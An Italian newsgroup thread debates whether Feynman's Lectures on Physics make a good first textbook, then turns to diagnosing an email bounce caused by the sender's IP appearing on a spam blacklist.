tratti proprio dalle lezioni effettuate da Feynman.
Un esempio di chiarezza.
ciao
feynman 

 Un esempio di chiarezza.
proprio non capite...tra un libro tratto da delle lezioni e delle lezioni 
"reali"
c'č una bella differenza. Che uno sia portato per gli scritti non significa 
che didattico
anche nelle conversazioni. Sinceramente la fisica di feynaman non č il libro 
didattico
per eccellenza. Prova a proporlo come corso di fisica 1 e 2 seguendolo 
integtralmente
e dopo mi saprai dire. 

 e dopo mi saprai dire.
Paradossalmente quel libro sarebbe stato perfetto 20 anni fa.
Ora il livello è talmente sceso che per Fisica 1 e 2 si va verso i libri da 
liceo.
ciao
feynman 

 da liceo.
vabbč...prova a parlarne con Elio Fabri vediamo cosa ti dice...
sinceramente mi ricordo che pure lui aveva delle cose da ridire sulla fisica 
di feynman.

 fisica di feynman.
LOL
prova invece a parlarci tu e vediamo cosa ti dice.
Poi torna qui e riferisci.
ciao
feynman 

 Poi torna qui e riferisci.
ma hai letto almeno l'articolo sulla critica alla massa relativa di Elio 
Fabri.
Ecco lì si criticava un po' l'uso che ne faceva anche feynman nelle sue 
lezioni.
Io ci ho parlato con Elio Fabri e secondo pure lui le lezioni di feynman non 
sono
la perfezione didattica. Sono invece la bibbia del fisico che già conosce la 
fisica. 

 la fisica.
cerchiamo di capirci. Io non ho detto che dal punto di vista didattico 
Feynman fosse il genio che era nella ricerca.
Ho detto che non era poi così male come lo hai dipinto tu.
ciao
feynman 

 Ho detto che non era poi così male come lo hai dipinto tu.
ci siamo fraintesi. E' un testo a me carissimo che leggo volentieri 
nell'edizione originale.
Volevo dire che non lo trovavo adatto come "primo" testo di fisica. Una 
volta però seguito
fisica 1 e 2 leggerlo ti apre proprio la mente ma solo dopo se ne può 
apprezzare
appieno le potenzialità. Secondo me dato ad un principiante è come dargli la 
bomba atomica!
ci sono poi dei capitoli che sinceramente trovo fatti meglio in altri libri 
ma del resto nemmeno tutti
i canti della divina commedia possiamo dire che siano dei capolavori!
Mi ricordo che la prima volta all'università che mi hanno consigliato di 
leggerlo sono rimasto male.
Mi ha spiazzato e l'ho trovato non difficile ma strano...è lo stile feynman. 
Poi dopo aver finito gli esami
di fisici l'ho ripreso in mano ed ha assunto tutto un altro aspetto. 

 Volevo dire che non lo trovavo adatto come "primo" testo di fisica.
l'importante è chiarirsi.
Ho chiesto l'opinione di Elio sulla mailing list di Sagredo e in effetti la 
pensa più o meno come te su questo argomento.
Se mi dai un email address valido ti giro la sua risposta.
ciao
feynman

 Se mi dai un email address valido ti giro la sua risposta.
ok scrivimi pure a ven...@NOSPAMwalla.com (togli il NOSPAM per
scrivermi).
Grazie mille. 

 scrivermi).
l'ho appena fatto ma l'email non va  a buon fine.
Mi dice una roba del genere:
- These recipients of your message have been processed by the mail server:
(tuo email address)
 Failed; 5.3.0 (other or undefined mail system status)
    Remote MTA 
rmail.walla.com
: network error
 - SMTP protocol diagnostic: 554 5.7.1 Rejected 212.216.176.224 found in 
dnsbl.sorbs.net
********************
tu capisci come mai non funge?
ciao
feynman

 tu capisci come mai non funge?
ho provato adesso ad inviare altre mail al mio indirizzo e funziona.
Ci saranno dei problemi temporanei sul server. Ogni tanto walla non funziona 
tanto bene.
Hai tolto il suffisso NOSPAM giusto?
se non dovesse andare ancora te ne do un altro. 


dnsbl.sorbs.net
Tutto questo vuol dire che il server del destinatario, gli dispiace tanto, ma
non può accettare posta dal tuo 212.216.176.224 perché è incluso in una lista
antispam.
Ci sono solo due soluzioni: aspettare un tempo indefinito (trattandosi di Tin
non è consigliabile), o cambiare server per la spedizione.